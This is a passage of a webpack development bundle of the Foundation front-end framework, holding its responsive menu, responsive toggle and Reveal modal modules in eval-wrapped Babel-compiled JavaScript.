"symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\nvar MenuPlugins = {\n dropdown: {\n cssClass: \'dropdown\',\n plugin: _foundation_dropdownMenu__WEBPACK_IMPORTED_MODULE_4__["DropdownMenu"]\n },\n drilldown: {\n cssClass: \'drilldown\',\n plugin: _foundation_drilldown__WEBPACK_IMPORTED_MODULE_5__["Drilldown"]\n },\n accordion: {\n cssClass: \'accordion-menu\',\n plugin: _foundation_accordionMenu__WEBPACK_IMPORTED_MODULE_6__["AccordionMenu"]\n }\n}; // import "foundation.util.triggers.js";\n\n/**\n * ResponsiveMenu module.\n * @module foundation.responsiveMenu\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n */\n\nvar ResponsiveMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveMenu, _Plugin);\n\n function ResponsiveMenu() {\n _classCallCheck(this, ResponsiveMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveMenu).apply(this, arguments));\n }\n\n _createClass(ResponsiveMenu, [{\n key: "_setup",\n\n /**\n * Creates a new instance of a responsive menu.\n * @class\n * @name ResponsiveMenu\n * @fires ResponsiveMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.rules = this.$element.data(\'responsive-menu\');\n this.currentMq = null;\n this.currentPlugin = null;\n this.className = \'ResponsiveMenu\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Menu by parsing the classes from the \'data-ResponsiveMenu\' attribute on the element.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init(); // The first time an Interchange plugin is initialized, this.rules is converted from a string of "classes" to an object of rules\n\n\n if (typeof this.rules === \'string\') {\n var rulesTree = {}; // Parse rules from "classes" pulled from data attribute\n\n var rules = this.rules.split(\' \'); // Iterate through every rule found\n\n for (var i = 0; i < rules.length; i++) {\n var rule = rules[i].split(\'-\');\n var ruleSize = rule.length > 1 ? rule[0] : \'small\';\n var rulePlugin = rule.length > 1 ? rule[1] : rule[0];\n\n if (MenuPlugins[rulePlugin] !== null) {\n rulesTree[ruleSize] = MenuPlugins[rulePlugin];\n }\n }\n\n this.rules = rulesTree;\n }\n\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default.a.isEmptyObject(this.rules)) {\n this._checkMediaQueries();\n } // Add data-mutate since children may need it.\n\n\n this.$element.attr(\'data-mutate\', this.$element.attr(\'data-mutate\') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__["GetYoDigits"])(6, \'responsive-menu\'));\n }\n /**\n * Initializes events for the Menu.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', function () {\n _this._checkMediaQueries();\n }); // $(window).on(\'resize.zf.ResponsiveMenu\', function() {\n // _this._checkMediaQueries();\n // });\n }\n /**\n * Checks the current screen width against available media queries. If the media query has changed, and the plugin needed has changed, the plugins will swap out.\n * @function\n * @private\n */\n\n }, {\n key: "_checkMediaQueries",\n value: function _checkMediaQueries() {\n var matchedMq,\n _this = this; // Iterate through each rule and find the last matching rule\n\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(this.rules, function (key) {\n if (_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(key)) {\n matchedMq = key;\n }\n }); // No match? No dice\n\n if (!matchedMq) return; // Plugin already initialized? We good\n\n if (this.currentPlugin instanceof this.rules[matchedMq].plugin) return; // Remove existing plugin-specific CSS classes\n\n jquery__WEBPACK_IMPORTED_MODULE_0___default.a.each(MenuPlugins, function (key, value) {\n _this.$element.removeClass(value.cssClass);\n }); // Add the CSS class for the new plugin\n\n this.$element.addClass(this.rules[matchedMq].cssClass); // Create an instance of the new plugin\n\n if (this.currentPlugin) this.currentPlugin.destroy();\n this.currentPlugin = new this.rules[matchedMq].plugin(this.$element, {});\n }\n /**\n * Destroys the instance of the current plugin on this element, as well as the window resize handler that switches the plugins out.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.currentPlugin.destroy();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'.zf.ResponsiveMenu\');\n }\n }]);\n\n return ResponsiveMenu;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveMenu.defaults = {};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveMenu.js?')},"./js/foundation.responsiveToggle.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ResponsiveToggle", function() { return ResponsiveToggle; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ "./js/foundation.util.mediaQuery.js");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n/**\n * ResponsiveToggle module.\n * @module foundation.responsiveToggle\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion\n */\n\nvar ResponsiveToggle =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(ResponsiveToggle, _Plugin);\n\n function ResponsiveToggle() {\n _classCallCheck(this, ResponsiveToggle);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(ResponsiveToggle).apply(this, arguments));\n }\n\n _createClass(ResponsiveToggle, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Tab Bar.\n * @class\n * @name ResponsiveToggle\n * @fires ResponsiveToggle#init\n * @param {jQuery} element - jQuery object to attach tab bar functionality to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(element);\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, ResponsiveToggle.defaults, this.$element.data(), options);\n this.className = \'ResponsiveToggle\'; // ie9 back compat\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the tab bar by finding the target element, toggling element, and running update().\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"]._init();\n\n var targetID = this.$element.data(\'responsive-toggle\');\n\n if (!targetID) {\n console.error(\'Your tab bar needs an ID of a Menu as the value of data-tab-bar.\');\n }\n\n this.$targetMenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()("#".concat(targetID));\n this.$toggler = this.$element.find(\'[data-toggle]\').filter(function () {\n var target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data(\'toggle\');\n return target === targetID || target === "";\n });\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, this.options, this.$targetMenu.data()); // If they were set, parse the animation classes\n\n if (this.options.animate) {\n var input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n }\n\n this._update();\n }\n /**\n * Adds necessary event handlers for the tab bar to work.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n var _this = this;\n\n this._updateMqHandler = this._update.bind(this);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\'changed.zf.mediaquery\', this._updateMqHandler);\n this.$toggler.on(\'click.zf.responsiveToggle\', this.toggleMenu.bind(this));\n }\n /**\n * Checks the current media query to determine if the tab bar should be visible or hidden.\n * @function\n * @private\n */\n\n }, {\n key: "_update",\n value: function _update() {\n // Mobile\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n this.$element.show();\n this.$targetMenu.hide();\n } // Desktop\n else {\n this.$element.hide();\n this.$targetMenu.show();\n }\n }\n /**\n * Toggles the element attached to the tab bar. The toggle only happens if the screen is small enough to allow it.\n * @function\n * @fires ResponsiveToggle#toggled\n */\n\n }, {\n key: "toggleMenu",\n value: function toggleMenu() {\n var _this2 = this;\n\n if (!_foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_1__["MediaQuery"].atLeast(this.options.hideFor)) {\n /**\n * Fires when the element attached to the tab bar toggles.\n * @event ResponsiveToggle#toggled\n */\n if (this.options.animate) {\n if (this.$targetMenu.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateIn(this.$targetMenu, this.animationIn, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n\n _this2.$targetMenu.find(\'[data-mutate]\').triggerHandler(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__["Motion"].animateOut(this.$targetMenu, this.animationOut, function () {\n _this2.$element.trigger(\'toggled.zf.responsiveToggle\');\n });\n }\n } else {\n this.$targetMenu.toggle(0);\n this.$targetMenu.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n this.$element.trigger(\'toggled.zf.responsiveToggle\');\n }\n }\n }\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.responsiveToggle\');\n this.$toggler.off(\'.zf.responsiveToggle\');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\'changed.zf.mediaquery\', this._updateMqHandler);\n }\n }]);\n\n return ResponsiveToggle;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_3__["Plugin"]);\n\nResponsiveToggle.defaults = {\n /**\n * The breakpoint after which the menu is always shown, and the tab bar is hidden.\n * @option\n * @type {string}\n * @default \'medium\'\n */\n hideFor: \'medium\',\n\n /**\n * To decide if the toggle should be animated or not.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.responsiveToggle.js?')},"./js/foundation.reveal.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Reveal\", function() { return Reveal; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.mediaQuery */ \"./js/foundation.util.mediaQuery.js\");\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.motion */ \"./js/foundation.util.motion.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ./foundation.util.triggers */ \"./js/foundation.util.triggers.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || 